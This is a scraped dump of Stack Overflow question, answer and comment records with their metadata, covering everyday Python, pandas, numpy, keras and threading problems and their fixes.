has body: I have a file with a column containing subject IDs (data['id'] in this dataframe). I want to only keep the rows in which the subject ID matches a value from my txt file (subjects_visit2.txt). I tried doing this with .isin but I get all 'False' when that is not true. I don't understand what I am doing wrong. Also, after it's fixed and I get some 'True' values, how do I print the values and not just 'True'? # load list of subjects I want to keep subject_list = pd.read_csv('maskave/Visit2/subjects_visit2.txt') subject_list = list(subject_list) # read csv i want to cut subjInfo = pd.read_csv('maskave/amyg_PFC_correlations.csv') data = pd.DataFrame(subjInfo) # restrict to subject IDs in txt file new_df = data['id'].isin(subject_list) print(new_df) edit: subject_list is a one-column text file with numerical values. when i convert it to a list, it becomes only the first value for some reason.
has comment: http://stackoverflow.com/comment/80992112
has comment: http://stackoverflow.com/comment/80994286
tagged with: pandas
score: 2
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/81014634
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47033711
has text: Did you enable the module? On an Ubuntu distro it would be `a2enmod wsgi`

http://stackoverflow.com/a/46963825
downvote count: 0
score: 2
has comment: http://stackoverflow.com/comment/80875623
type: Answer
answers question: http://stackoverflow.com/q/46963673
has comment: http://stackoverflow.com/comment/80875632
has body: If you're okay with a list of arrays, you could use str.split + stack + np.split: df.Col1.str.split(expand=True).stack().values y = np.split(x, np.flatnonzero(x == 'r0'))[1:] y [array(['r0', 'X', 'Y', 'Z', 'A', 'D', 'B', 'r1'], dtype=object), array(['r0', 'Y', 'Z', 'X', 'D', 'r1'], dtype=object), array(['r0', 'X', 'G', 'H', 'Z', 'r1'], dtype=object)] The reason I call [1:] is because, since your column starts with r0, np.split returns an empty array as the first split which I drop. If this is not the case, you can remove it. As an aside, converting your result to a list of lists is extremely simple using map: y = list(map(np.ndarray.tolist, y))
accepted answer of: http://stackoverflow.com/q/46963673
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/81061851
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47040579
has text: Why are you removing the last element of the list? Also, checking to see whether the key is in the list would avoid infinite loops. It seems to me that this could be done with a while loop. Wouldn't that be more efficient?
type: Comment

http://stackoverflow.com/a/47063967
has body: looks like it's taking BGR and displaying it as RGB (or viceversa). Add something like this to fix it. b,g,r = cv2.split(img) # get b,g,r img = cv2.merge([r,g,b]) # switch it to rgb reference
type: Answer
score: 6
accepted answer of: http://stackoverflow.com/q/47063886
answers question: http://stackoverflow.com/q/47063886
type: AcceptedAnswer
upvote count: 7
has comment: http://stackoverflow.com/comment/81076371
downvote count: 1

http://stackoverflow.com/comment/80880842
comment on: http://stackoverflow.com/q/46966690
score: 0
type: Comment
type: QuestionComment
has text: Possible duplicate of [How to convert strings into integers in Python?](https://stackoverflow.com/questions/642154/how-to-convert-strings-into-integers-in-python)

http://stackoverflow.com/q/47042431
tagged with: list
has title: Lowercase first element of tuple in list of tuples
downvote count: 0
accepted answer: http://stackoverflow.com/a/47042503
tagged with: text-processing
possible better answer: http://stackoverflow.com/a/47042479
has comment: http://stackoverflow.com/comment/81031891
favorite count: 0
tagged with: tuples
has answer: http://stackoverflow.com/a/47042538
type: AnsweredQuestion
upvote count: 3
score: 3
has comment: http://stackoverflow.com/comment/81031958
has answer: http://stackoverflow.com/a/47042503
tagged with: python
has answer: http://stackoverflow.com/a/47055307
answer count: 4
has answer: http://stackoverflow.com/a/47042479
has body: I have a list of documents, labeled with their appropriate categories: documents = [(list(corpus.words(fileid)), category) for category in corpus.categories() for fileid in corpus.fileids(category)] which gives me the following list of tuples, where the first element of the tuple is a list of words (tokens of a sentence). For instance: [([u'A', u'pilot', u'investigation', u'of', u'a', u'multidisciplinary', u'quality', u'of', u'life', u'intervention', u'for', u'men', u'with', u'biochemical', u'recurrence', u'of', u'prostate', u'cancer', u'.'], 'cancer'), ([u'A', u'Systematic', u'Review', u'of', u'the', u'Effectiveness', u'of', u'Medical', u'Cannabis', u'for', u'Psychiatric', u',', u'Movement', u'and', u'Neurodegenerative', u'Disorders', u'.'], 'hd')] I want to apply some text-processing techniques, but I wish to maintain the list of tuples format. I know that if I had only a list of words, this would do: [w.lower() for w in words] But in this case, I want to apply .lower() to the first element (list of strings) of every tuple in the tuples list, and after trying various options like: [[x.lower() for x in element] for element in documents], [(x.lower(), y) for x,y in documents], or [x[0].lower() for x in documents] I always get this error: AttributeError: 'list' object has no attribute 'lower' I have also tried applying what I need before creating the list, but .categories() and .fileids() are properties of corpus and they also return the same error (they're lists as well). Any help would be deeply appreciated. SOLVED: both @Adam Smith's answer and @vasia were right: [([s.lower() for s in item[0]], item[1]) for item in documents] @Adam's answer above maintains the tuple structure; @vasia does the trick right from the creation of the list of tuples: documents = [([word.lower() for word in corpus.words(fileid)], category) for category in corpus.categories() for fileid in corpus.fileids(category)] Thank you all :)
type: Question

http://stackoverflow.com/q/46996982
score: 2
tagged with: function
linked to: http://stackoverflow.com/q/448271
has comment: http://stackoverflow.com/comment/80940684
answer count: 1
downvote count: 0
duplicate of: http://stackoverflow.com/q/37516579
favorite count: 0
accepted answer: http://stackoverflow.com/a/46997023
type: Question
tagged with: importerror
has answer: http://stackoverflow.com/a/46997023
tagged with: python
has title: How to import all defined functions from python script one into python script two?
tagged with: import
linked to: http://stackoverflow.com/q/37516579
type: AnsweredQuestion
tagged with: python-import
has body: I am trying to import a python script containing several defined functions into a different python script using this approach via SO. Since the script I would like to import defines many functions (some of which are nested inside other functions), I would prefer to import the entire script rather than each function individually. I am using a simpler example below. Say I have a folder on my desktop named 'workspace'. In the folder 'workspace', there is a script named 'pre.py' that contains a single function (defined below) and a blank file named '__init__.py'. def get_g(x): """ Sample Function """ if isinstance(x, list): res = [xi**2 for xi in x] else: res = x**2 return res In the same 'workspace' folder, there is a script named 'post.py', in which I would like to import all functions defined in 'pre.py'. A sample script of 'post.py' is below. ATTEMPT #1: import matplotlib.pyplot as plt def get_my_imports(script_name, fileloc="/Users/myname/Desktop/workspace"): """ Import Sample Function (defined above) """ from fileloc import script_name get_my_imports('pre.py') x = np.linspace(1, 10, 100) y = get_g(x) plt.plot(x, y) plt.show() &gt;&gt; ImportError: No module named 'fileloc' ATTEMPT #2: import matplotlib.pyplot as plt from "/Users/myname/Desktop/workspace" import 'tst.py' ## error in this line x = np.linspace(1, 10, 100) y = get_g(x) plt.plot(x, y) plt.show() &gt;&gt; SyntaxError: invalid syntax In my first attempt, I tried to generalize the approach of importing py scripts. But the interpreter thinks fileloc is an importable module rather than my intention. My second attempt tells me that I am not understanding something fundamental about how to do this. How can this style of approach be adapted to work correctly? (I am using an apple laptop if it's relevant to the file location.)
upvote count: 2

http://stackoverflow.com/a/46988850
has comment: http://stackoverflow.com/comment/80924605
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/46988727
has comment: http://stackoverflow.com/comment/80924734
type: Answer
has body: Your film_storage results list is local to the function get_links() which is called recursively for the next page. After the recursive call (for all the next pages), the initial (entry) function returns results only for the first page. You'll have to either (1) unwrap the tail recursion into a loop, (2) make results list global; (3) use a callback (like you call print), or the best option (4) is to turn the get_links function into a generator that yields results for all pages. Generator version: def get_links(link): root = fromstring(requests.get(link).text) for item in root.cssselect(".mv"): name = item.cssselect("h3 a")[0].text yield name next_page = root.cssselect(".pager a:contains('Next')")[0].attrib['href'] if root.cssselect(".pager a:contains('Next')") else "" if next_page: full_link = urljoin(link,next_page) for name in get_links(full_link): yield name

http://stackoverflow.com/comment/80953615
type: AnswerComment
comment on: http://stackoverflow.com/a/46996890
type: Comment
has text: Thank you for your help, but that did not work for me.
score: 0

http://stackoverflow.com/comment/81030855
has text: @AkshayKathpal yes, of course.
comment on: http://stackoverflow.com/q/47041569
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80877561
type: Comment
comment on: http://stackoverflow.com/a/46964696
score: 0
type: AnswerComment
has text: @MichaelCividanes Check my edit again.

http://stackoverflow.com/q/47027511
type: Question
has comment: http://stackoverflow.com/comment/81002496
has comment: http://stackoverflow.com/comment/81002934
answer count: 0
type: UnansweredQuestion
has title: Calculations using pandas in python
has body: I have a big csv file, here is some of the data from it: "C1_E1",,,,, "Time","Force","Disp.","Stress","Strain","Stroke" "sec","N","mm","MPa","%","mm" "0","0.1192093","0","0.003017193","0","0" "0.01","0.09536743","2.083333E-05","0.002413754","1.621271E-05","2.083333E-05" "0.02","0.09536743","0.00025","0.002413754","0.0001945525","0.00025" "0.03","0.09536743","0.0013125","0.002413754","0.001021401","0.0013125" "0.04","0.09536743","0.003604167","0.002413754","0.002804799","0.003604167" "0.05","0.09536743","0.006875","0.002413754","0.005350194","0.006875" "0.06","0.09536743","0.01104167","0.002413754","0.008592736","0.01104167" "0.07","0.09536743","0.01602083","0.002413754","0.01246757","0.01602083" "0.08","0.09536743","0.02191667","0.002413754","0.01705577","0.02191667" "0.09","0.09536743","0.028625","0.002413754","0.02227626","0.028625" "0.1","0.09536743","0.035875","0.002413754","0.02791829","0.035875" "0.11","3.910065","0.04352083","0.09896392","0.03386835","0.04352083" "0.12","13.39118","0.05145833","0.3389313","0.0400454","0.05145833" "0.13","18.46155","0.05989583","0.4672626","0.04661154","0.05989583" "0.14","23.57165","0.06875","0.5965995","0.05350194","0.06875" I need to work out a quantity, E, using the data from the the Stress and Strain columns and pandas. This is to be done using the method of least squares. I have written the following code: from scipy import * import pandas as pd location = r'C:...\C1-E1.csv' df = pd.read_csv(location, header=1) title = pd.read_csv(location, header=None) title = title.loc[0][0] df = df[1:].astype(float) i = 1 XY_calc = pd.DataFrame(columns=['X', 'Y', 'XY', 'sum(XY)', 'mean(X)', 'mean(Y)', 'X^2', 'sum(X^2)', 'mean(X)^2']) XY_calc = XY_calc[0:].astype(float) while i &lt; len(df.index): XY_calc.at[i, 'X'] = df.at[i, 'Strain'] XY_calc.at[i, 'Y'] = df.at[i, 'Stress'] XY_calc.at[i, 'XY'] = df.at[i, 'Strain']*df.at[i, 'Stress'] XY_calc.at[i, 'sum(XY)'] = sum_XY = XY_calc['XY'].sum() XY_calc.at[i, 'mean(X)'] = mean_X = XY_calc['X…
tagged with: python
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/81002217

http://stackoverflow.com/comment/128775571
comment on: http://stackoverflow.com/q/47007680
has text: Related: https://stackoverflow.com/questions/39983695
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/80791570
score: 0
type: AnswerComment
has text: Yeah it’s better using dict.itervalues() but it still slower. And it’s my decision to use that langage for my final university project. I want to learn how to use python with efficiency :)
comment on: http://stackoverflow.com/a/46921730
type: Comment

http://stackoverflow.com/comment/80877305
has text: You can do `import itertools; itertools.product(list1, list2, etc)`
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46964765
score: 0

http://stackoverflow.com/comment/80946828
comment on: http://stackoverflow.com/a/46997672
score: 0
type: Comment
has text: Neha instead of using sudo is there any other way.?
type: AnswerComment

http://stackoverflow.com/comment/80880220
comment on: http://stackoverflow.com/a/46966103
has text: I've never used pandas before, but I'll give it a shot. Thanks!
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47028242
upvote count: 1
has title: Multiclassification in Python using keras error
tagged with: keras
favorite count: 0
type: AnsweredQuestion
score: 1
accepted answer: http://stackoverflow.com/a/47029681
tagged with: python
has answer: http://stackoverflow.com/a/47029681
has comment: http://stackoverflow.com/comment/81003606
has comment: http://stackoverflow.com/comment/81004825
type: Question
has body: I am new to python and try multiclassification on iris.csv dataset having 100 instances and 9 columns .I got this error and search this error and apply solution but nothing work for me.. please help Traceback (most recent call last): File "iris.py", line 48, in model.fit(X, dummy_y, epochs=200, batch_size=5) File "C:\Users\HP\Anaconda2\lib\site-packages\keras\models.py", line 871, in fit initial_epoch=initial_epoch) File "C:\Users\HP\Anaconda2\lib\site-packages\keras\engine\training.py", line 1525, in fit batch_size=batch_size) File "C:\Users\HP\Anaconda2\lib\site-packages\keras\engine\training.py", line 1383, in _standardize_user_data exception_prefix='target') File "C:\Users\HP\Anaconda2\lib\site-packages\keras\engine\training.py", line 144, in _standardize_input_data str(array.shape)) ValueError: Error when checking target: expected dense_2 to have shape (None, 1) but got array with shape (100L, 3L) here is my code import numpy import pandas from keras.models import Sequential from keras.layers import Dense from keras.wrappers.scikit_learn import KerasClassifier from keras.utils import np_utils from sklearn.cross_validation import cross_val_score, KFold from sklearn.preprocessing import LabelEncoder from sklearn.pipeline import Pipeline # fix random seed for reproducibility seed = 7 numpy.random.seed(seed) # load dataset dataframe = pandas.read_csv("iris.csv", header=None) dataset = dataframe.values X = dataset[:,0:8].astype(float) Y = dataset[:,8] print(X) print(Y) #encode class values as integers encoder = LabelEncoder() encoder.fit(Y) encoded_Y = encoder.transform(Y) # convert integers to dummy variables (hot encoded) dummy_y = np_utils.to_categorical(encoded_Y) print(dummy_y) # create model model = Sequential() model.add(Dense(8, input_dim=8, activation='relu')) model.add(Dense(3, activation='sigmoid')) # Compile model model.compile(loss='sparse_categorical_crossentropy', optimizer='adam', metrics=['accuracy']) #model.fit model.fit(X, dummy_y, epochs=200, bat…
tagged with: deep-learning
answer count: 1
downvote count: 0
tagged with: neural-network

http://stackoverflow.com/comment/80888456
type: Comment
type: AnswerComment
has text: That appears to be a separate issue. Please ask a new question and show the code of the treedump view.
score: 0
comment on: http://stackoverflow.com/a/46931605

http://stackoverflow.com/comment/80993854
type: QuestionComment
has text: This seems to depend on the use of `pyplot` within the thread. See [this simplified example](https://pastebin.com/E6PYkcvv), which should work fine. If you then uncomment the pyplot line, the error is raised. This is all independend on using the buffer.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47023141

http://stackoverflow.com/comment/80914221
comment on: http://stackoverflow.com/q/46983021
has text: That sounds like it's not an actual Python error, but from your IDE. As long as the code runs, it doesn't really matter.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/tag/json
tags question: http://stackoverflow.com/q/46906310
tags question: http://stackoverflow.com/q/46988241
tags question: http://stackoverflow.com/q/46963285
tags question: http://stackoverflow.com/q/47042871
tags question: http://stackoverflow.com/q/46962144
tags question: http://stackoverflow.com/q/46976665
tags question: http://stackoverflow.com/q/46992036
tags question: http://stackoverflow.com/q/47064519
tags question: http://stackoverflow.com/q/46978256
tags question: http://stackoverflow.com/q/47011984
tags question: http://stackoverflow.com/q/46923358
tags question: http://stackoverflow.com/q/47054088
tags question: http://stackoverflow.com/q/46988891
tags question: http://stackoverflow.com/q/47001132
tags question: http://stackoverflow.com/q/46993463
tags question: http://stackoverflow.com/q/46955128
tags question: http://stackoverflow.com/q/46941571
tags question: http://stackoverflow.com/q/47004739
tags question: http://stackoverflow.com/q/47052204
tags question: http://stackoverflow.com/q/47002057
tags question: http://stackoverflow.com/q/46996356
tags question: http://stackoverflow.com/q/47005379
tag name: json
tags question: http://stackoverflow.com/q/47037281
tags question: http://stackoverflow.com/q/46954846
tags question: http://stackoverflow.com/q/47051808
tags question: http://stackoverflow.com/q/46979118
tags question: http://stackoverflow.com/q/47003691
tags question: http://stackoverflow.com/q/46971065
tags question: http://stackoverflow.com/q/46950078
tags question: http://stackoverflow.com/q/47045266
tags question: http://stackoverflow.com/q/47064278
tags question: http://stackoverflow.com/q/46921495
tags question: http://stackoverflow.com/q/47014748
tags question: http://stackoverflow.com/q/46911055
tags question: http://stackoverflow.com/q/46942853
tags question: http://stackoverflow.com/q/46966334
tags question: http://stackoverflow.com/q/46940666
tags question: http://stackoverflow.com/q/46976276
tags question: http://stackoverflow.com/q/46944238
tags question: http://stackoverflow.com/q/47060035
tags question: http://stackoverflow.com/q/46908303
tags question: http://stackoverflow.com/q/47062227
tags question: http://stackoverflow.com/q/47016779
tags question: http://stackoverflow.com/q/46934199
tags question: http://stackoverflow.com/q/46963895
tags question: http://stackoverflow.com/q/47030964
tags question: http://stackoverflow.com/q/47017989
tags question: http://stackoverflow.com/q/47037726
tags question: http://stackoverflow.com/q/46944735
tags question: http://stackoverflow.com/q/46913435
tags question: http://stackoverflow.com/q/46945922
tags question: http://stackoverflow.com/q/47062238
tags question: http://stackoverflow.com/q/46957511
tags question: http://stackoverflow.com/q/47012242
tags question: http://stackoverflow.com/q/47040249
tags question: http://stackoverflow.com/q/46951406
tags question: http://stackoverflow.com/q/46934135
tags question: http://stackoverflow.com/q/46975135
tags question: http://stackoverflow.com/q/47004500
tags question: http://stackoverflow.com/q/46951917
tags question: http://stackoverflow.com/q/46913051
tags question: http://stackoverflow.com/q/46992823
tags question: http://stackoverflow.com/q/46992156
tags question: http://stackoverflow.com/q/46991783
tags question: http://stackoverflow.com/q/46938802
tags question: http://stackoverflow.com/q/46966083
tags question: http://stackoverflow.com/q/46988309
tags question: http://stackoverflow.com/q/47063369
type: Tag
tags question: http://stackoverflow.com/q/47034655
tags question: http://stackoverflow.com/q/47041963
tags question: http://stackoverflow.com/q/46938191
tags question: http://stackoverflow.com/q/47031967
tags question: http://stackoverflow.com/q/46933429
tags question: http://stackoverflow.com/q/46919776
tags question: http://stackoverflow.com/q/47060379
tags question: http://stackoverflow.com/q/46922527
tags question: http://stackoverflow.com/q/46949258
tags question: http://stackoverflow.com/q/47042998

http://stackoverflow.com/comment/81079959
has text: Thanks for the help, onvalue/offvalue was not in my notes, glad you put that up there for me. What makes it possible to create buttons without 'self.' at the beginning, is it because def __init__(self):? We are still being taught to write all the code out, helps most of the time but efficiency when it can be learned is goes a long way as long as I understand the steps. Again thanks alot.
type: Comment
comment on: http://stackoverflow.com/a/46947379
score: 0
type: AnswerComment

http://stackoverflow.com/a/46922946
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46922209
has body: What fixed it for me was I wasn't running minicom. Now I have running in a screen. minicom -b 9600 -o -D /dev/ttyACM0
type: Answer
score: 0
accepted answer of: http://stackoverflow.com/q/46922209

http://stackoverflow.com/comment/80915091
has text: You are modifying the list in the for loop while iterating over it, which can have unexpected consequences.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46980561
score: 0

http://stackoverflow.com/q/46996575
has title: Assigning values to bottom and top 5 percentile of numpy array
possible better answer: http://stackoverflow.com/a/46996666
tagged with: python
type: AnsweredQuestion
has body: array([ 3.497 , 3.0935 , 3.3625 , 3.56425, 3.497 , 4.10225, 2.75725, 3.766 , 2.959 , 3.9005 ]) In the numpy array above, I want to compute a new array where the bottom and top 5 percentile values are assigned a value of 100 and the others are assigned a value of 1. Is there a function similar to heaveside which can be used here?
score: 0
answer count: 2
accepted answer: http://stackoverflow.com/a/46996632
has answer: http://stackoverflow.com/a/46996666
has answer: http://stackoverflow.com/a/46996632
type: Question
tagged with: numpy

http://stackoverflow.com/q/47062835
tagged with: python
answer count: 1
has comment: http://stackoverflow.com/comment/81076875
has comment: http://stackoverflow.com/comment/81078517
accepted answer: http://stackoverflow.com/a/47066467
has body: I'm making a program where you enter a list of integers, it changes your integers into notes, and then plays those notes in order. But, if you enter zero and set the frequency to zero, the program crashes. I've tried adding an if statement that changes the frequency to 100 if this happens, but no luck. the following is my code: import winsound FREQUENCY = 0 NOTES_PROMPT = "Enter a list of integers: " DURATION_PROMPT = "Duration: " def line_break(): print("") def play_music(): notes = raw_input(NOTES_PROMPT) duration = raw_input(DURATION_PROMPT) map(int, str(notes)) map(int, str(duration)) for i in range(len(notes)): FREQUENCY = int(notes[i]) * 250 if FREQUENCY == 0: FREQUENCY == 100 line_break() print(str(notes[i])) winsound.Beep(FREQUENCY, int(duration)) while True: play_music() line_break()
tagged with: python-2.7
has answer: http://stackoverflow.com/a/47066467
score: 2
type: AnsweredQuestion
downvote count: 0
has title: Python 2.7 Trouble with winsound frequency
has comment: http://stackoverflow.com/comment/81081036
favorite count: 0
type: Question
upvote count: 2
has comment: http://stackoverflow.com/comment/81075132

http://stackoverflow.com/q/47010044
type: Question
answer count: 5
tagged with: nltk
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47011046
tagged with: python
score: 11
linked to: http://stackoverflow.com/q/3617797
has title: How to remove numeric characters present in Countvectorizer?
has comment: http://stackoverflow.com/comment/80966536
has body: How can I eliminate numeric characters coming inside countvectorizer My code cv = CountVectorizer(min_df=50, stop_words='english',max_features = 5000,analyzer='word') cv_fit_addr=cv.fit_transform(data['Adj_Addr']) print(cv.get_feature_names()) ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '100', '1001', '1002', '1003', '1004', '1005', '1008', '101', '1010', '102', '103', '104', '105', '106', '107', '108', '109', '10f', '10th', '11', '1101', '1102', '1103', '1104', '1105', '1106', '1108', '111', '1111', '113', '114', '116', '118', '11f', '11th', '12', '120', '1201', '1202', '1203', '1204', '1206', '1208', '121', '122', '123', '125', '126', '128', '12a', '12f', '12th', '13', '1301', '1302', '1303', '1305', '1308', '132', '133', '135', '138', '139', '13f', '13th', '14', '141', '143', '148', '14f', '14th', '15', '150', '1501', '1502', '1503', '1505', '151', '153', '15f', '15th', '16', '160', '1601', '1602', '1603', '1608', '165', '168', '169', '16f', '16th', '17', '1701', '1702', '1703', '1705', '17f', '17th', '18', '1801', '1803', '181', '182', '183', '188', '18f', '18th', '19', '1901', '1902', '191', '193', '19f', '19th', '1a', '1b', '1f', '1st', '20', '200', '2001', '2003', '201', '202', '203', '204', '205', '206', '208', '20f', '20th', '21', '210', '2101', '2103', '211', '21f', '21st', '22', '220', '2201', '223', '228', '22f', '22nd', '23', '2301', '231', '23f', '23rd', '24', '248', '25', '255', '25f', '25th', '26', '2601', '26f', '26th', '27', '2701', '27f', '28', '28f', '29', '29th', '2a', '2b', '2f', '2g', '2nd', '30', '301', '302', '303', '305', '306', '307', '308', '30f', '31', '311', '32', '33', '338', '34', '35', '36', '37', '370', '38', '388', '39', '392', '3a', '3b', '3f', '3rd', '40', '401', '402', '403', '404', '405', '406', '407', '41', '418', '42', '43', '44', '45', '46', '47', '479', '48', '489', '49', '491', '4a', '4f', '4th', '50', '500', '501', '502', '503', '505', '509', '51', '510', '511', '52', '53', '538', '54', '55', '555', '56',…
upvote count: 11
has comment: http://stackoverflow.com/comment/80967648
has answer: http://stackoverflow.com/a/47011185
has answer: http://stackoverflow.com/a/73989484
tagged with: pandas
downvote count: 0
has answer: http://stackoverflow.com/a/73007102
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/80978900
has answer: http://stackoverflow.com/a/59984414
favorite count: 0

http://stackoverflow.com/q/46985446
tagged with: multithreading
downvote count: 0
upvote count: 1
favorite count: 0
has body: In Python I am trying to get one infinite loop to start running parallel at the same time, a simple example would be: from threading import Thread def func(argument): while True: print(argument) def main(): Thread(target=func("1")).start() Thread(target=func("2")).start() Thread(target=func("3")).start() Thread(target=func("4")).start() if __name__ == '__main__': main() Right now only the first thread runs, so the result is: 1 1 1 1 .... And it should be: 1 2 3 4 .... I found several similar questions but none of the provided solutions seem to work for me, including using join on the threads. So if anyone knows the solution to my problem it would be very much appreciated. Thanks in advance!
has answer: http://stackoverflow.com/a/46985523
type: AnsweredQuestion
tagged with: python
has title: Python: threading multiple infinite loops at the same time
accepted answer: http://stackoverflow.com/a/46985672
possible better answer: http://stackoverflow.com/a/46985523
has answer: http://stackoverflow.com/a/46985672
type: Question
answer count: 2
score: 1
has comment: http://stackoverflow.com/comment/80918248

http://stackoverflow.com/a/46985566
has comment: http://stackoverflow.com/comment/80918604
has comment: http://stackoverflow.com/comment/80934636
has comment: http://stackoverflow.com/comment/80918748
score: 1
type: Answer
answers question: http://stackoverflow.com/q/46985316
has comment: http://stackoverflow.com/comment/80918558
has comment: http://stackoverflow.com/comment/80918709
has comment: http://stackoverflow.com/comment/80918644
has comment: http://stackoverflow.com/comment/80918676
upvote count: 1
has body: You can use pandas using isnull df[df['You column with NaN'].isnull()] This will return rows with NaN df2 = df[df['You column with NaN'].isnull()]['Title'] Will return what you want, One example: import pandas as pd import numpy as np df = pd.DataFrame([range(3), [0, np.NaN, np.NaN], [0, 0, np.NaN], range(3), range(3)], columns=["Col_1", "Col_2", "Col_3"]) print df Col_1 Col_2 Col_3 0 0 1.0 2.0 1 0 NaN NaN 2 0 0.0 NaN 3 0 1.0 2.0 4 0 1.0 2.0 print df[df['Col_3'].isnull()] Col_1 Col_2 Col_3 1 0 NaN NaN 2 0 0.0 NaN df2 =df[df['Col_3'].isnull()]['Col_2'] print df2 1 NaN 2 0.0 Name: Col_2, dtype: float64 EDIT I got your issue now, the main problem is the dataframe itself. When you used pivot, the column parameter is wrong... You don't need to fix this problem though. If I'm not wrong, now you want only the critic and movies, without the rating itself. df_Toby = df.loc[df['critic'] == 'Toby'] This df['critic'] == 'Toby' will select all rows with the critic name To return the titles you can select the column 'title' df_Toby = df_Toby['title'] To subset the title and rating df_Toby = df_Toby'title', 'rating' you can use after that exclude_Nan_df_Toby = df_Toby.dropna() This will exclude all rows with NaN, and return only rows with a valid rating. Cheers,
has comment: http://stackoverflow.com/comment/80918536
downvote count: 0
has comment: http://stackoverflow.com/comment/80918612
has comment: http://stackoverflow.com/comment/80918627

http://stackoverflow.com/comment/80967295
type: Comment
type: AnswerComment
score: 18
has text: I think one should note that Python conditional expressions have made this syntax less common. I certainly prefer max(args) - min(args) if len(args) else 0 to the original.
comment on: http://stackoverflow.com/a/47007761

http://stackoverflow.com/comment/80955652
comment on: http://stackoverflow.com/q/47004520
type: Comment
score: 1
type: QuestionComment
has text: sorry about this, I meant " >No opinion of CEO" corresponds to Ceo approval both in first and second html lists

http://stackoverflow.com/q/46917217
has answer: http://stackoverflow.com/a/46920884
type: Question
has answer: http://stackoverflow.com/a/46921105
has comment: http://stackoverflow.com/comment/80782163
has comment: http://stackoverflow.com/comment/80782047
has body: I have a function that does an API call and returns a record, which eventually will be converted into a data frame. The two functions that handle the request are as follows: def get_json(url, params={}): headers = {"Authorization": "Bearer {}".format(get_token())} r = requests.get(url, params=params, headers=headers) return r.json() def retrieve_record(record=None, profile_ID=None, page_ID=None): profile_ID = str(profile_ID) pages_ID = str(page_ID) print_function_call("retrieve_record()", [profile_ID, pages_ID]) return get_json(root_path + '/exzact/api/v60/profiles/{}/pages/{}/records/{}'.format(profile_ID, pages_ID, record)) Which returns an object that I then print to the console. The object is extremely long, but looks something like this: {u'created_date': u'2017-10-24T17:41:15+00:00', ...} There is clearly data inside the object. But when I then try and convert it into a data frame like this: df = pd.DataFrame() obj = retrieve_record(profile_ID=profile_ID, page_ID=page_ID, record=ID) data = pd.DataFrame.from_dict(obj, orient='index') I'm getting this error in response: Error: object of type 'NoneType' has no len() Now I can assume that the error is happening inside the pd.DataFrame.from_dict() function call. But I can't tell why. The dictionary I'm passing clearly has data inside of it, but it's being evaluated as NoneType. I'm looking for suggestions on what could be going wrong with my dictionary object. Is it perhaps that some fields inside the dictionary are of NoneType, and not the whole object itself? TRACEBACK Traceback (most recent call last): File "", line 456, in &lt;module&gt; newDF = create_DF(profile_ID, page_ID, today_ids) File "", line 211, in create_DF data = pd.DataFrame.from_dict(obj, orient='index') File "C:\Python27\lib\site-packages\pandas\core\frame.py", line 861, in from_dict return cls(data, index=index, columns=columns, dtype=dtype) File "C:\Python27\lib\site-packages\pandas\core\frame.py", line 314, in __init__ arrays, columns = _to_ar…
downvote count: 0
has title: Dict showing as None when passed into function
upvote count: 1
has comment: http://stackoverflow.com/comment/80781815
favorite count: 0
has comment: http://stackoverflow.com/comment/80781917
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/46921105
answer count: 3
tagged with: pandas
has answer: http://stackoverflow.com/a/46917488
score: 1
tagged with: http://stackoverflow.com/tag/json
has comment: http://stackoverflow.com/comment/80782098
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/80782222
has comment: http://stackoverflow.com/comment/80782112
accepted answer: http://stackoverflow.com/a/46920884

http://stackoverflow.com/comment/80821400
score: 0
has text: Yes, I need to change formats, multiindexing, do mean and std, etc. but that all works fine. I would just like to know number of chuncks
type: QuestionComment
comment on: http://stackoverflow.com/q/46936957
type: Comment

http://stackoverflow.com/comment/80918216
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/46985360
has text: What's the problem with the above code?
type: Comment

scroll
type: Tag
tag name: scroll
tags question: http://stackoverflow.com/q/46972535

http://stackoverflow.com/q/47063919
tagged with: python
score: 4
upvote count: 4
type: AnsweredQuestion
answer count: 2
downvote count: 0
accepted answer: http://stackoverflow.com/a/47067064
has body: ImportError: libcuda.so.1: cannot open shared object file: No such file or directory Failed to load the native TensorFlow runtime. This error is appeared when import tensorflow. I need to know steps to solve this problem.
has title: Import error when trying to import tensorflow with gpu
tagged with: tensorflow
possible better answer: http://stackoverflow.com/a/52873191
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/52873191
has answer: http://stackoverflow.com/a/47067064
tagged with: gpu

http://stackoverflow.com/comment/81093426
score: 0
has text: The value is only the color of each tile. What I mean is that you need to create *one* `plot_surface`, not many.
type: QuestionComment
comment on: http://stackoverflow.com/q/47053716
type: Comment

http://stackoverflow.com/comment/80875319
type: AnswerComment
comment on: http://stackoverflow.com/a/46963742
has text: nice start, but I need the _positions_ in the line (start/end) not the values. I'm sure you can transform your answer for this.
type: Comment
score: 0

http://stackoverflow.com/q/47001543
tagged with: unicode
favorite count: 0
score: 1
has answer: http://stackoverflow.com/a/47002511
tagged with: compare
